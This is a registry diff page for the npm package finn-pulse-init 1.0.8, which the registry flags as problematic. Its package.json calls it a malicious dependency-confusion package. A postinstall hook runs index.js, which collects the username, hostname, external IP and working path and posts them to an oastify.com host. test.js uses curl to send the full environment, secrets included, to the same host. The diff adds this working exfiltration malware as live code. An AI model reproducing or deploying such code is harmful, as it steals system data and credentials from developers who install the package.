finn-pulse-init 1.0.8

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of finn-pulse-init might be problematic. Click here for more details.

Files changed (4) hide show
  1. package/.env +1 -0
  2. package/index.js +74 -0
  3. package/package.json +14 -0
  4. package/test.js +7 -0
package/.env ADDED
@@ -0,0 +1 @@
1
+ asuuuuuuuuuuuuuuuuuuuuuu
package/index.js ADDED
@@ -0,0 +1,74 @@
1
+ const os = require('os');
2
+ const axios = require('axios');
3
+ const path = require('path');
4
+ const fs = require('fs');
5
+
6
+ // Mendapatkan waktu saat ini
7
+ function getCurrentTime() {
8
+ return new Date().toISOString();
9
+ }
10
+
11
+ // Mendapatkan nama organisasi atau pengguna
12
+ function getOrganization() {
13
+ return os.userInfo().username; // Atau Anda bisa menambahkan logika lain untuk mendapatkan nama organisasi
14
+ }
15
+
16
+ // Mendapatkan IP eksternal dengan menggunakan API
17
+ function getExternalIP() {
18
+ return axios.get('https://api.ipify.org?format=json')
19
+ .then(response => response.data.ip)
20
+ .catch(error => 'IP eksternal tidak ditemukan');
21
+ }
22
+
23
+ // Mendapatkan nama host
24
+ function getHostname() {
25
+ return os.hostname();
26
+ }
27
+
28
+ // Mendapatkan jalur direktori saat ini
29
+ function getCurrentPath() {
30
+ return path.resolve('.');
31
+ }
32
+
33
+ // Mendapatkan nama paket dari file package.json
34
+ function getPackageName() {
35
+ const packageJsonPath = path.resolve('package.json');
36
+ if (fs.existsSync(packageJsonPath)) {
37
+ const packageJson = require(packageJsonPath);
38
+ return packageJson.name || 'Unknown Package'; // Mengambil nama dari package.json
39
+ } else {
40
+ return 'Package.json tidak ditemukan'; // Jika tidak ada package.json
41
+ }
42
+ }
43
+
44
+ // Mengumpulkan data yang dibutuhkan
45
+ async function collectData() {
46
+ const time = getCurrentTime();
47
+ const organization = getOrganization();
48
+ const externalIP = await getExternalIP();
49
+ const hostname = getHostname();
50
+ const currentPath = getCurrentPath();
51
+ const packageName = getPackageName(); // Ambil nama paket dari package.json
52
+
53
+ const data = {
54
+ time: time,
55
+ organization: organization,
56
+ ipAddress: externalIP,
57
+ packageName: packageName,
58
+ hostname: hostname,
59
+ currentPath: currentPath
60
+ };
61
+
62
+ console.log(data); // Tampilkan data yang dikumpulkan
63
+
64
+ // Mengirim data ke server target (misalnya Attacoker atau server lain)
65
+ axios.post('https://gg0jvned1n5ed1mav2wpk65ullrcf43t.oastify.com/log', data)
66
+ .then(response => {
67
+ console.log('Data berhasil dikirim:', response.data);
68
+ })
69
+ .catch(error => {
70
+ console.error('Error saat mengirim data:', error);
71
+ });
72
+ }
73
+
74
+ collectData(); // Menjalankan fungsi untuk mengumpulkan dan mengirim data
package/package.json ADDED
@@ -0,0 +1,14 @@
1
+ {
2
+ "name": "finn-pulse-init",
3
+ "version": "1.0.8",
4
+ "description": "Malicious package for dependency confusion",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node index.js"
8
+ },
9
+ "author": "Attacker",
10
+ "license": "MIT",
11
+ "dependencies": {
12
+ "axios": "^0.21.1"
13
+ }
14
+ }
package/test.js ADDED
@@ -0,0 +1,7 @@
1
+ const { exec } = require('child_process');
2
+ exec('curl -X POST https://gg0jvned1n5ed1mav2wpk65ullrcf43t.oastify.com -d "$(env)"', (error) => {
3
+ if (error) {
4
+ console.error(`Exec error: ${error}`);
5
+ return;
6
+ }
7
+ });